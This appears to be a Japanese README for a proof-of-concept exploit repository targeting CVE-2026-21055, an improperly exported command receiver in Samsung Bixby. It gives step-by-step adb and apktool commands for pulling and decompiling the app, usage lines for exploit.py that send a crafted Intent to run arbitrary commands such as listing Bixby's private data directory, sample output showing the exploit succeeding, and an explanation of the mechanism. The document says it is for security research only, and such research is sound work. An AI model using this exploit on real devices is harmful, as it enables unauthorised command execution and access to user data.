
CVE-2026-21055 の Proof of Concept:バージョン 4.0.70.8 より前の Samsung Bixby における Android アプリケーションコンポーネントの不適切なエクスポートにより、ローカルの攻撃者が Bixby の権限で任意のコマンドを実行できます。
このリポジトリには、2つの Python スクリプトが含まれています:
analyze_components.py — 逆コンパイルされた AndroidManifest.xml を解析し、エクスポートされた Activity、Service、Receiver、Provider を列挙します。パーミッションガードなしでエクスポートされたコンポーネントにフラグを立てます。
exploit.py — adb shell am を介して、細工したブロードキャスト Intent を Bixby のエクスポートされたコマンドレシーバーに送信し、Bixby のシステムレベル権限でコマンドを実行することで、Intent ベースの攻撃を実演します。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-21055 |
| Samsung SVE | SVE-2026-0917 |
| CVSS v4.0 | 8.5 — 高 |
| CWE | CWE-926 — Android アプリケーションコンポーネントの不適切なエクスポート |
| 影響を受けるアプリ | Samsung Bixby (com.samsung.android.bixby.agent) |
| 影響を受けるバージョン | < 4.0.70.8 |
| 修正バージョン | 4.0.70.8 |
| 攻撃元区分 | ローカル(同一デバイス上の悪意のあるアプリ) |
| 必要な権限 | 不要 |
| ユーザー操作 | 不要 |
| 影響 | Bixby の権限による任意のコマンド実行 |
デバイスから Bixby APK を取得し、逆コンパイルします:
# Find Bixby's APK path
$ adb shell pm path com.samsung.android.bixby.agent
# Pull the APK
$ adb pull <apk_path> bixby.apk
# Decompile with apktool
$ apktool d bixby.apk -o bixby_decompiled -f
解析スクリプトを実行します:
$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml
または、スクリプトに自動で逆コンパイルさせることもできます:
$ python3 analyze_components.py --apk bixby.apk
$ python3 exploit.py --list
# Default: execute 'id' command
$ python3 exploit.py
# Custom command
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"
# Specify a custom component (if auto-detection fails)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver
============================================================
CVE-2026-21055 PoC — Samsung Bixby Command Execution
Improper Export of Android Application Components
============================================================
[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version: 4.0.69.2
[*] Vulnerable: YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx
[*] Executing exploit...
[*] Crafting exploit Intent...
Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
Action: com.samsung.android.bixby.agent.ACTION_RUN_SHELL
Command: id
Output: /data/local/tmp/bixby_poc_output
[+] Intent sent.
[+] Command output (executed with Bixby privilege):
uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)
[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx
コンポーネントのエクスポート:Bixby は、コマンド実行や自動化トリガーを処理する1つ以上のコンポーネント(サービス/レシーバー)をエクスポートします。これらのコンポーネントは android:exported="true" でエクスポートされていますが、android:permission 属性や実行時のパーミッション検査はありません。
Intent の配信:デバイス上の任意のアプリが、これらのエクスポートされたコンポーネントに Intent を送信できます。Intent には、アクション文字列(例:ACTION_RUN_SHELL)と、実行するコマンドと出力ファイルパスを含む文字列の extras が含まれます。
コマンド実行:Bixby のエクスポートされたコンポーネントは Intent を受け取り、コマンドを抽出して、Runtime.exec() または類似のメカニズムで実行します。コマンドは Bixby のプロセスコンテキストで実行され、Bixby のシステムレベル権限をすべて継承します。
ユーザー操作不要:このエクスプロイトはユーザー操作を必要としません。悪意のあるアプリはバックグラウンドで静かに Intent を送信します。
この PoC は、教育およびセキュリティ研究目的のみで提供されます。所有しているデバイス、またはテストする明示的な許可を得ているデバイスでのみテストしてください。所有者の同意なしに、このエクスプロイトをデバイスに対して使用しないでください。